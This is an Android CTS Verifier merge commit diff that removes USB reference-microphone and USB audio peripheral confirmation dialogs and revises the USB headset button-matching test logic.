Merge "Fix GraphicsStatsValidationTest" into pie-cts-dev am: c7e9c00f67

Original change: https://android-review.googlesource.com/c/platform/cts/+/1501650

Change-Id: I16c7d28214a9ae8a031b31bb628196f502b7ff36
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 24177db..e95fd1e 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="com.android.cts.verifier"
       android:versionCode="5"
-      android:versionName="9.0_r15">
+      android:versionName="9.0_r1">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="28"/>
 
@@ -215,7 +215,7 @@
             <meta-data android:name="test_required_features"
                     android:value="android.software.device_admin" />
             <meta-data android:name="test_excluded_features"
-                    android:value="android.hardware.type.watch:android.hardware.type.automotive" />
+                    android:value="android.hardware.type.watch" />
         </activity>
 
         <activity android:name=".admin.ScreenLockTestActivity"
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
index a0a715f..272a9fc 100644
--- a/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
@@ -32,8 +32,6 @@
             android:orientation="vertical"
         >
 
-            <include layout="@layout/audio_refmic_layout"/>
-
             <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_speaker_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_speaker_activity.xml
index a9aeafa..435f5a7 100644
--- a/apps/CtsVerifier/res/layout/audio_frequency_speaker_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_frequency_speaker_activity.xml
@@ -30,72 +30,70 @@
             android:layout_height="wrap_content"
             android:orientation="vertical">
 
-            <include layout="@layout/audio_refmic_layout"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:scrollbars="vertical"
+            android:gravity="bottom"
+            android:id="@+id/info_text"
+            android:text="@string/audio_frequency_speaker_instructions"/>
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+            <Button
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:id="@+id/audio_frequency_speaker_mic_ready_btn"
+                android:text="@string/audio_frequency_speaker_mic_ready_btn"
+                android:nextFocusForward="@+id/audio_frequency_speaker_test_btn"
+                android:nextFocusDown="@+id/audio_frequency_speaker_test_btn"
+                android:nextFocusRight="@+id/audio_frequency_speaker_test_btn" />
 
             <TextView
-                android:layout_width="match_parent"
+                android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:scrollbars="vertical"
-                android:gravity="bottom"
-                android:id="@+id/info_text"
-                android:text="@string/audio_frequency_speaker_instructions"/>
+                android:text="@string/audio_frequency_speaker_usb_status"
+                android:id="@+id/audio_frequency_speaker_usb_status"/>
 
             <LinearLayout
+                android:orientation="vertical"
                 android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="vertical">
-                <Button
-                    android:layout_width="match_parent"
+                android:layout_height="match_parent">
+
+                <LinearLayout
+                    android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
-                    android:id="@+id/audio_frequency_speaker_mic_ready_btn"
-                    android:text="@string/audio_frequency_speaker_mic_ready_btn"
-                    android:nextFocusForward="@+id/audio_frequency_speaker_test_btn"
-                    android:nextFocusDown="@+id/audio_frequency_speaker_test_btn"
-                    android:nextFocusRight="@+id/audio_frequency_speaker_test_btn" />
+                    android:orientation="horizontal"
+                    android:id="@+id/audio_frequency_speaker_layout">
+                    <Button
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:text="@string/audio_frequency_speaker_test_btn"
+                        android:id="@+id/audio_frequency_speaker_test_btn"
+                        android:nextFocusForward="@+id/pass_button"
+                        android:nextFocusUp="@+id/audio_frequency_speaker_mic_ready_btn"
+                        android:nextFocusDown="@+id/pass_button"
+                        android:nextFocusLeft="@+id/audio_frequency_speaker_mic_ready_btn"
+                        android:nextFocusRight="@+id/pass_button" />
+
+                    <ProgressBar
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:id="@+id/audio_frequency_speaker_progress_bar"/>
+                </LinearLayout>
 
                 <TextView
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
-                    android:text="@string/audio_frequency_speaker_usb_status"
-                    android:id="@+id/audio_frequency_speaker_usb_status"/>
+                    android:text="@string/audio_frequency_speaker_results_text"
+                    android:id="@+id/audio_frequency_speaker_results_text"/>
 
-                <LinearLayout
-                    android:orientation="vertical"
-                    android:layout_width="match_parent"
-                    android:layout_height="match_parent">
-
-                    <LinearLayout
-                        android:layout_width="wrap_content"
-                        android:layout_height="wrap_content"
-                        android:orientation="horizontal"
-                        android:id="@+id/audio_frequency_speaker_layout">
-                        <Button
-                            android:layout_width="wrap_content"
-                            android:layout_height="wrap_content"
-                            android:text="@string/audio_frequency_speaker_test_btn"
-                            android:id="@+id/audio_frequency_speaker_test_btn"
-                            android:nextFocusForward="@+id/pass_button"
-                            android:nextFocusUp="@+id/audio_frequency_speaker_mic_ready_btn"
-                            android:nextFocusDown="@+id/pass_button"
-                            android:nextFocusLeft="@+id/audio_frequency_speaker_mic_ready_btn"
-                            android:nextFocusRight="@+id/pass_button" />
-
-                        <ProgressBar
-                            android:layout_width="wrap_content"
-                            android:layout_height="wrap_content"
-                            android:id="@+id/audio_frequency_speaker_progress_bar"/>
-                    </LinearLayout>
-
-                    <TextView
-                        android:layout_width="wrap_content"
-                        android:layout_height="wrap_content"
-                        android:text="@string/audio_frequency_speaker_results_text"
-                        android:id="@+id/audio_frequency_speaker_results_text"/>
-
-                </LinearLayout>
             </LinearLayout>
+        </LinearLayout>
 
-            <include layout="@layout/pass_fail_buttons"/>
+        <include layout="@layout/pass_fail_buttons"/>
         </LinearLayout>
       </ScrollView>
 
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_unprocessed_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_unprocessed_activity.xml
index 8032f93..d02ef0b 100644
--- a/apps/CtsVerifier/res/layout/audio_frequency_unprocessed_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_frequency_unprocessed_activity.xml
@@ -23,8 +23,6 @@
             android:layout_height="wrap_content"
             android:orientation="vertical">
 
-            <include layout="@layout/audio_refmic_layout"/>
-
             <TextView
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/audio_refmic_layout.xml b/apps/CtsVerifier/res/layout/audio_refmic_layout.xml
deleted file mode 100644
index bd806a1..0000000
--- a/apps/CtsVerifier/res/layout/audio_refmic_layout.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="match_parent"
-    android:layout_height="wrap_content"
-    android:orientation="vertical">
-
-    <TextView
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:text="@string/refmic_test_question"/>
-
-    <LinearLayout
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:orientation="horizontal">
-
-        <Button
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:soundEffectsEnabled="false"
-            android:text="@string/refmic_test_yes"
-            android:id="@+id/refmic_tests_yes_btn" />
-
-        <Button
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:soundEffectsEnabled="false"
-            android:text="@string/refmic_test_no"
-            android:id="@+id/refmic_tests_no_btn" />
-
-        <Button
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:soundEffectsEnabled="false"
-            android:text="@string/refmic_test_info"
-            android:id="@+id/refmic_test_info_btn" />
-    </LinearLayout>
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/uap_attribs_panel.xml b/apps/CtsVerifier/res/layout/uap_attribs_panel.xml
index b9c5d3e..6c33d9f 100644
--- a/apps/CtsVerifier/res/layout/uap_attribs_panel.xml
+++ b/apps/CtsVerifier/res/layout/uap_attribs_panel.xml
@@ -9,8 +9,6 @@
     android:layout_width="match_parent"
     android:layout_height="wrap_content">
 
-    <include layout="@layout/uap_usb_confirm"/>
-
     <include layout="@layout/uap_profile_header"/>
 
     <LinearLayout
diff --git a/apps/CtsVerifier/res/layout/uap_buttons_panel.xml b/apps/CtsVerifier/res/layout/uap_buttons_panel.xml
index 355bfb6..4fdc757 100644
--- a/apps/CtsVerifier/res/layout/uap_buttons_panel.xml
+++ b/apps/CtsVerifier/res/layout/uap_buttons_panel.xml
@@ -9,8 +9,6 @@
     android:layout_width="match_parent"
     android:layout_height="wrap_content">
 
-    <include layout="@layout/uap_usb_confirm"/>
-
     <include layout="@layout/uap_profile_header"/>
 
     <LinearLayout
diff --git a/apps/CtsVerifier/res/layout/uap_play_panel.xml b/apps/CtsVerifier/res/layout/uap_play_panel.xml
index 30ef884..2faa50c 100644
--- a/apps/CtsVerifier/res/layout/uap_play_panel.xml
+++ b/apps/CtsVerifier/res/layout/uap_play_panel.xml
@@ -9,8 +9,6 @@
     android:layout_width="match_parent"
     android:layout_height="wrap_content">
 
-    <include layout="@layout/uap_usb_confirm"/>
-
     <include layout="@layout/uap_profile_header"/>
 
     <LinearLayout
diff --git a/apps/CtsVerifier/res/layout/uap_record_panel.xml b/apps/CtsVerifier/res/layout/uap_record_panel.xml
index a5bfcfc..2deb738 100644
--- a/apps/CtsVerifier/res/layout/uap_record_panel.xml
+++ b/apps/CtsVerifier/res/layout/uap_record_panel.xml
@@ -9,8 +9,6 @@
     android:layout_width="match_parent"
     android:layout_height="wrap_content">
 
-    <include layout="@layout/uap_usb_confirm"/>
-
     <include layout="@layout/uap_profile_header"/>
 
     <LinearLayout
diff --git a/apps/CtsVerifier/res/layout/uap_usb_confirm.xml b/apps/CtsVerifier/res/layout/uap_usb_confirm.xml
deleted file mode 100644
index ea73b88..0000000
--- a/apps/CtsVerifier/res/layout/uap_usb_confirm.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="match_parent"
-    android:layout_height="wrap_content"
-    android:orientation="vertical">
-
-    <TextView
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:text="@string/uap_test_question"/>
-
-    <LinearLayout
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:orientation="horizontal">
-
-        <Button
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:soundEffectsEnabled="false"
-            android:text="@string/uap_test_yes"
-            android:id="@+id/uap_tests_yes_btn" />
-
-        <Button
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:soundEffectsEnabled="false"
-            android:text="@string/uap_test_no"
-            android:id="@+id/uap_tests_no_btn" />
-
-        <Button
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:soundEffectsEnabled="false"
-            android:text="@string/uap_test_info"
-            android:id="@+id/uap_test_info_btn" />
-    </LinearLayout>
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 3ec34a7..4f44c1c 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -3252,6 +3252,8 @@
     <string name="user_restriction_set_step">
         Set \'%s\' user restriction by turning on the switch below.
     </string>
+    <string name="disallow_add_user">Disallow add user</string>
+    <string name="disallow_add_user_action">Adding a new user</string>
     <string name="disallow_adjust_volume">Disallow adjust volume</string>
     <string name="disallow_adjust_volume_action">Adjusting the volume</string>
     <string name="disallow_config_date_time">Disallow config date and time settings</string>
@@ -4056,10 +4058,6 @@
     <string name="uapButtonsBtnDLbl">Button D - voice assist</string>
     <string name="uapButtonsRecognized">Recognized</string>
     <string name="uapButtonsNotRecognized">Not Recognized</string>
-    <string name="uapButtonsDisableAssistantTitle">Disable Google Assistant</string>
-    <string name="uapButtonsDisableAssistant">For this test to succeed it may be necessary
-        to disable the Google Assistant (Settings / Google / Search / Google Assistant Settings /
-        Devices / &lt;device name&gt; / Google Assistant)</string>
 
     <!-- Audio general text -->
     <string name="audio_general_headset_port_exists">Does this device have a headset port?</string>
@@ -4538,30 +4536,4 @@
         Click the button below to confirm that the incoming call was answered.
     </string>
     <string name="telecom_incoming_self_mgd_confirm_answer_button">Confirm Answer</string>
-
-    <string name="uap_test_no">No</string>
-    <string name="uap_test_yes">Yes</string>
-    <string name="uap_test_info">Info</string>
-    <string name="uap_test_question">Does this device allow for the connectiono of a USB reference microphone?</string>
-    <string name="uap_mic_dlg_caption">USB Host Mode Audio Required</string>
-    <string name="uap_mic_dlg_text">This test requires a USB audio peripheral to be connected to the device.
-    If the device under test does not support USB Host Mode Audio (either because it does not have a
-    USB port, or USB Host Mode Audio has been removed from the OS) you can be granted a provisional
-    pass on this test by pressing the \"No\" button and indicating \"Test Pass\" at the bottom.\n
-    Note: Handheld devices supporting USB host mode MUST support USB audio class (CDD 7.7 .2/H-1-1)\n
-    Note: Devices declaring feature android.hardware.audio.pro MUST implement USB host mode (CDD 5.10 C-1-3) and if they omit a 4 conductor 3.5mm audio jack MUST support USB audio class (CDD 5.10 C-3-1)
-    </string>
-
-    <string name="refmic_test_no">No</string>
-    <string name="refmic_test_yes">Yes</string>
-    <string name="refmic_test_info">Info</string>
-    <string name="refmic_test_question">Does this device allow for the connection of a USB reference microphone?</string>
-    <string name="ref_mic_dlg_caption">Reference Mic Required</string>
-    <string name="ref_mic_dlg_text">This test requires a USB Reference Mic to be connected to the device.
-    If the device under test does not support USB Host Mode Audio (either because it does not have a
-    USB port, or USB Host Mode Audio has been removed from the OS) you can be granted a provisional
-    pass on this test by pressing the \"No\" button and indicating \"Test Pass\" at the bottom.\n
-    Note: Handheld devices supporting USB host mode MUST support USB audio class (CDD 7.7 .2/H-1-1)\n
-    Note: Devices declaring feature android.hardware.audio.pro MUST implement USB host mode (CDD 5.10 C-1-3) and if they omit a 4 conductor 3.5mm audio jack MUST support USB audio class (CDD 5.10 C-3-1)
-    </string>
 </resources>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
index 0e82423..c8bffdf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
@@ -67,12 +67,11 @@
                     R.string.device_admin_keyguard_disable_camera_instruction,
                     new Intent(ByodHelperActivity.ACTION_LOCKNOW)));
         }
-        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications,
-                    "DeviceAdmin_DisableNotifications",
-                    R.string.device_admin_disable_notifications_instruction,
-                    new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN)));
-        }
+
+        adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications,
+                "DeviceAdmin_DisableNotifications",
+                R.string.device_admin_disable_notifications_instruction,
+                new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN)));
     }
 
     private boolean hasTrustAgents() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
index 1857d18..1893ac2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
@@ -53,65 +53,6 @@
 
     public int mMaxLevel = 0;
 
-    private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    //
-    // Common UI Handling
-    protected void connectRefMicUI() {
-        findViewById(R.id.refmic_tests_yes_btn).setOnClickListener(mBtnClickListener);
-        findViewById(R.id.refmic_tests_no_btn).setOnClickListener(mBtnClickListener);
-        findViewById(R.id.refmic_test_info_btn).setOnClickListener(mBtnClickListener);
-
-        enableTestUI(false);
-    }
-
-    private void showRefMicInfoDialog() {
-        new AlertDialog.Builder(this)
-                .setTitle(R.string.ref_mic_dlg_caption)
-                .setMessage(R.string.ref_mic_dlg_text)
-                .setPositiveButton(R.string.audio_general_ok, null)
-                .show();
-    }
-
-    private class OnBtnClickListener implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            switch (v.getId()) {
-                case R.id.refmic_tests_yes_btn:
-                    recordRefMicStatus(true);
-                    enableTestUI(true);
-                    // disable test button so that they will now run the test(s)
-                    getPassButton().setEnabled(false);
-                    break;
-
-                case R.id.refmic_tests_no_btn:
-                    recordRefMicStatus(false);
-                    enableTestUI(false);
-                    // Allow the user to "pass" the test.
-                    getPassButton().setEnabled(true);
-                    break;
-
-                case R.id.refmic_test_info_btn:
-                    showRefMicInfoDialog();
-                    break;
-            }
-        }
-    }
-
-    private void recordRefMicStatus(boolean has) {
-        getReportLog().addValue(
-                "User reported ref mic availability: ",
-                has ? 1.0 : 0,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-    }
-
-    //
-    // Overrides
-    //
-    void enableTestUI(boolean enable) {
-
-    }
-
     public void setMaxLevel() {
         AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
         mMaxLevel = am.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
index e296f86..129fb72 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
@@ -238,22 +238,7 @@
                 5.0, -50.0,      /* start top,bottom value */
                 5.0, -50.0      /* stop top,bottom value */);
 
-        connectRefMicUI();
     }
-
-    //
-    // Overrides
-    //
-    void enableTestUI(boolean enable) {
-        mButtonTestNoise.setEnabled(enable);
-        mButtonPlayNoise.setEnabled(enable);
-
-        mButtonTestUsbBackground.setEnabled(enable);
-
-        mButtonTestUsbNoise.setEnabled(enable);
-        mButtonPlayUsbNoise.setEnabled(enable);
-    }
-
     private void playerToggleButton(int buttonId) {
         if (playerIsPlaying()) {
             playerStopAll();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
index f954b0c..294e48d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
@@ -205,15 +205,6 @@
                 5.0, -50.0,      /* start top,bottom value */
                 5.0, -50.0      /* stop top,bottom value */);
 
-        connectRefMicUI();
-    }
-
-    //
-    // Overrides
-    //
-    void enableTestUI(boolean enable) {
-        mLoopbackPlugReady.setEnabled(enable);
-        mTestButton.setEnabled(enable);
     }
 
     /**
@@ -221,8 +212,8 @@
      */
     private void enableLayout(boolean enable) {
         for (int i = 0; i < mLinearLayout.getChildCount(); i++) {
-            mLoopbackPlugReady.setEnabled(enable);
-            mTestButton.setEnabled(enable);
+            View view = mLinearLayout.getChildAt(i);
+            view.setEnabled(enable);
         }
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
index fb8460b..009dd58 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
@@ -292,24 +292,6 @@
         mResultsMic =  new Results("mic_response", mBands);
         mResultsTone = new Results("tone_response", mBandsTone);
         mResultsBack = new Results("background_response", mBandsBack);
-
-        connectRefMicUI();
-    }
-
-    //
-    // Overrides
-    //
-    void enableTestUI(boolean enable) {
-        mButtonTestTone.setEnabled(enable);
-        mButtonPlayTone.setEnabled(enable);
-
-        mButtonTestNoise.setEnabled(enable);
-        mButtonPlayNoise.setEnabled(enable);
-
-        mButtonTestUsbBackground.setEnabled(enable);
-
-        mButtonTestUsbNoise.setEnabled(enable);
-        mButtonPlayUsbNoise.setEnabled(enable);
     }
 
     private void playerToggleButton(int buttonId, int sourceId) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
index 8f0a9b0..7fdf403 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
@@ -16,18 +16,12 @@
 
 package com.android.cts.verifier.audio;
 
-import android.app.AlertDialog;
-import com.android.compatibility.common.util.ReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
 import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
 import android.media.AudioManager;
 import android.os.Bundle;
 import android.os.Handler;
 import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
 import android.widget.TextView;
 
 import com.android.cts.verifier.audio.peripheralprofile.PeripheralProfile;
@@ -50,8 +44,6 @@
     protected AudioDeviceInfo mOutputDevInfo;
     protected AudioDeviceInfo mInputDevInfo;
 
-    protected final boolean mIsMandatedRequired;
-
     // This will be overriden...
     protected  int mSystemSampleRate = 48000;
 
@@ -61,74 +53,9 @@
 
     private TextView mPeripheralNameTx;
 
-    private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-
-    //
-    // Common UI Handling
-    //
-    protected void connectUSBPeripheralUI() {
-        findViewById(R.id.uap_tests_yes_btn).setOnClickListener(mBtnClickListener);
-        findViewById(R.id.uap_tests_no_btn).setOnClickListener(mBtnClickListener);
-        findViewById(R.id.uap_test_info_btn).setOnClickListener(mBtnClickListener);
-
-        // Leave the default state in tact
-        // enableTestUI(false);
-    }
-
-    private void showUAPInfoDialog() {
-        new AlertDialog.Builder(this)
-                .setTitle(R.string.uap_mic_dlg_caption)
-                .setMessage(R.string.uap_mic_dlg_text)
-                .setPositiveButton(R.string.audio_general_ok, null)
-                .show();
-    }
-
-    private class OnBtnClickListener implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            switch (v.getId()) {
-                case R.id.uap_tests_yes_btn:
-                    recordUSBAudioStatus(true);
-                    enableTestUI(true);
-                    // disable test button so that they will now run the test(s)
-                    getPassButton().setEnabled(false);
-                    break;
-
-                case R.id.uap_tests_no_btn:
-                    recordUSBAudioStatus(false);
-                    enableTestUI(false);
-                    // Allow the user to "pass" the test.
-                    getPassButton().setEnabled(true);
-                    break;
-
-                case R.id.uap_test_info_btn:
-                    showUAPInfoDialog();
-                    break;
-            }
-        }
-    }
-
-    private void recordUSBAudioStatus(boolean has) {
-        getReportLog().addValue(
-                "User reported USB Host Audio Support: ",
-                has ? 1.0 : 0,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-    }
-
-    //
-    // Overrides
-    //
-    void enableTestUI(boolean enable) {
-
-    }
-
-    public USBAudioPeripheralActivity(boolean mandatedRequired) {
+    public USBAudioPeripheralActivity() {
         super();
 
-        // determine if to show "UNSUPPORTED" if the mandated peripheral is required.
-        mIsMandatedRequired = mandatedRequired;
-
         mProfileManager.loadProfiles();
     }
 
@@ -172,7 +99,7 @@
                 productName = mInputDevInfo.getProductName().toString();
             }
             String ctrlText;
-            if (mSelectedProfile == null && mIsMandatedRequired) {
+            if (mSelectedProfile == null) {
                 ctrlText = productName + " - UNSUPPORTED";
             } else {
                 ctrlText = productName;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
index 23ed91a..f12de73 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
@@ -32,10 +32,6 @@
 
     private TextView mTestStatusTx;
 
-    public USBAudioPeripheralAttributesActivity() {
-        super(true); // Mandated peripheral is required
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -47,8 +43,6 @@
 
         setPassFailButtonClickListeners();
         setInfoResources(R.string.usbaudio_attribs_test, R.string.usbaudio_attribs_info, -1);
-
-        connectUSBPeripheralUI();
     }
 
     //
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
index 324b5db..87b2149 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
@@ -16,8 +16,6 @@
 
 package com.android.cts.verifier.audio;
 
-import android.app.AlertDialog;
-import android.content.DialogInterface;
 import android.content.res.Resources;
 import android.graphics.Color;
 import android.os.Bundle;
@@ -47,23 +45,6 @@
     private TextView mBtnBStatusTxt;
     private TextView mBtnCStatusTxt;
 
-    public USBAudioPeripheralButtonsActivity() {
-        super(false); // Mandated peripheral is NOT required
-    }
-
-    private void showDisableAssistantDialog() {
-        AlertDialog.Builder builder =
-                new AlertDialog.Builder(this, android.R.style.Theme_Material_Dialog_Alert);
-        builder.setTitle(getResources().getString(R.string.uapButtonsDisableAssistantTitle));
-        builder.setMessage(getResources().getString(R.string.uapButtonsDisableAssistant));
-        builder.setPositiveButton(android.R.string.yes,
-            new DialogInterface.OnClickListener() {
-                public void onClick(DialogInterface dialog, int which) {}
-         });
-        builder.setIcon(android.R.drawable.ic_dialog_alert);
-        builder.show();
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -81,14 +62,12 @@
 
         setPassFailButtonClickListeners();
         setInfoResources(R.string.usbaudio_buttons_test, R.string.usbaudio_buttons_info, -1);
-
-        showDisableAssistantDialog();
-
-        connectUSBPeripheralUI();
     }
 
     private void showButtonsState() {
-        int ctrlColor = mIsPeripheralAttached ? Color.WHITE : Color.GRAY;
+        int ctrlColor = mIsPeripheralAttached && mSelectedProfile != null
+                ? Color.WHITE
+                : Color.GRAY;
         mBtnALabelTxt.setTextColor(ctrlColor);
         mBtnAStatusTxt.setTextColor(ctrlColor);
         mBtnBLabelTxt.setTextColor(ctrlColor);
@@ -102,19 +81,22 @@
             mHasBtnB ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
         mBtnCStatusTxt.setText(getString(
             mHasBtnC ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
-
-        calculateMatch();
     }
 
     private void calculateMatch() {
-        if (mIsPeripheralAttached) {
-            boolean match;
+        if (mIsPeripheralAttached && mSelectedProfile != null) {
+            ProfileButtonAttributes mButtonAttributes = mSelectedProfile.getButtonAttributes();
+            boolean match = mButtonAttributes != null;
             boolean interceptedVolume = getResources().getBoolean(Resources.getSystem()
                 .getIdentifier("config_handleVolumeKeysInWindowManager", "bool", "android"));
-            if (interceptedVolume) {
-                match = mHasBtnA;
-            } else {
-                match = mHasBtnA && mHasBtnB && mHasBtnC;
+            if (match && mButtonAttributes.mHasBtnA != mHasBtnA) {
+                match = false;
+            }
+            if (match && mButtonAttributes.mHasBtnB != mHasBtnB && !interceptedVolume) {
+                match = false;
+            }
+            if (match && mButtonAttributes.mHasBtnC != mHasBtnC && !interceptedVolume) {
+                match = false;
             }
             Log.i(TAG, "match:" + match);
             getPassButton().setEnabled(match);
@@ -125,27 +107,29 @@
 
     @Override
     public boolean onKeyDown(int keyCode, KeyEvent event) {
-        // Log.i(TAG, "onKeyDown(" + keyCode + ")");
-        switch (keyCode) {
-        // Function A control event
-        case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
-            mHasBtnA = true;
-            break;
-
-        // Function B control event
-        case KeyEvent.KEYCODE_VOLUME_UP:
-            mHasBtnB = true;
-            break;
-
-        // Function C control event
-        case KeyEvent.KEYCODE_VOLUME_DOWN:
-            mHasBtnC = true;
-            break;
+        Log.i(TAG, "onKeyDown(" + keyCode + ")");
+        if (mSelectedProfile != null) {
+            switch (keyCode) {
+            // Function A control event
+            case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
+                mHasBtnA = true;
+                break;
+    
+            // Function B control event
+            case KeyEvent.KEYCODE_VOLUME_UP:
+                mHasBtnB = true;
+                break;
+    
+            // Function C control event
+            case KeyEvent.KEYCODE_VOLUME_DOWN:
+                mHasBtnC = true;
+                break;
+            }
+    
+            showButtonsState();
+            calculateMatch();
         }
 
-        showButtonsState();
-        calculateMatch();
-
         return super.onKeyDown(keyCode, event);
     }
 
